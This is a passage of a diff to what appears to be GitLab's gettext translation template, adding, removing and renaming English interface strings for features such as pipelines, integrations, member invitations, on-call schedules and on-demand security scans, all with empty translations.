@@ -13872,9 +14219,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -14016,6 +14360,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -14096,12 +14443,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -14153,9 +14494,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -14186,6 +14524,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -14219,6 +14560,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14249,9 +14593,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14429,9 +14770,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14516,9 +14854,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14544,73 +14879,79 @@ msgstr[3] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14649,6 +14990,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14682,7 +15026,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14700,6 +15053,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14721,6 +15077,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14796,6 +15155,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14838,6 +15200,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14862,6 +15227,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14907,6 +15275,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14916,16 +15287,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -15033,9 +15404,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -15099,6 +15467,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -15234,10 +15605,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15414,6 +15785,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15543,6 +15935,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15727,9 +16122,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15823,6 +16215,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15850,9 +16245,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15883,9 +16275,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15949,9 +16338,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -16003,18 +16389,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -16030,9 +16407,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -16138,6 +16512,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -16160,6 +16537,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16364,9 +16744,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16427,16 +16804,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16499,7 +16870,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16511,7 +16882,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16559,6 +16930,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16583,9 +16957,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16742,7 +17113,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16778,9 +17152,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16790,12 +17173,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16814,6 +17206,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16865,6 +17260,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16916,6 +17314,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17476,6 +17877,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17581,6 +17985,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17614,12 +18021,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17677,7 +18078,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17773,6 +18174,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17904,6 +18308,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17937,6 +18344,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -18162,7 +18572,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18316,6 +18726,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18421,9 +18834,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18607,9 +19017,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18646,6 +19053,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18664,6 +19074,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18676,6 +19089,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18715,6 +19131,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18751,9 +19170,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18769,6 +19194,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18778,6 +19206,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18904,6 +19335,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18919,9 +19377,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18946,9 +19401,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18961,6 +19413,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18970,7 +19428,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18995,9 +19453,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -19079,6 +19534,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -19145,9 +19603,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -19193,6 +19648,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19349,6 +19807,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19463,6 +19924,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19487,9 +19951,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19754,6 +20215,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19862,9 +20326,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19910,6 +20371,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19922,6 +20386,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19931,6 +20398,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -20156,6 +20629,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -20165,9 +20641,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20330,18 +20803,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20351,9 +20818,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20375,9 +20839,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20432,6 +20893,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20561,6 +21025,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20570,6 +21052,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20600,6 +21085,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20957,9 +21445,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -21212,7 +21697,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -21254,6 +21742,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21314,9 +21805,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21338,6 +21826,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21407,6 +21901,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21788,6 +22285,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -22103,6 +22603,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -22256,6 +22759,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22341,9 +22847,6 @@ msgstr ""
